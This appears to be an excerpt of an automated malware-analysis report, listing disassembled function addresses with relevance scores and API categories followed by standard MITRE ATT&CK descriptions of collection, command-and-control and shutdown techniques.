Function 0040680A, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 00406520, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00406025, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Function 00406473, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Function 00406591, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Function 004064DD, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Function 72E43CF0, Relevance: 4.7, APIs: 3, Instructions: 170
COMMON

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Function 00405F28, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Function 0040586F, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Function 00405850, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 004053C3, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 00403081, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Function 004030B3, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 00404FC2, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Function 004047D3, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Function 00404292, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273
stringCOMMON

Function 00402053, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Function 00402671, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Function 00403F9C, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Function 72E43930, Relevance: 33.2, APIs: 22, Instructions: 209
fileCOMMON

Function 00401000, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Function 72E42960, Relevance: 25.0, APIs: 2, Strings: 12, Instructions: 483
COMMON

Function 004058E6, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
filememoryCOMMON

Function 00405BBA, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Function 72E43BB0, Relevance: 16.6, APIs: 11, Instructions: 104
fileCOMMON

Function 72E435C0, Relevance: 13.8, APIs: 7, Strings: 2, Instructions: 284
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre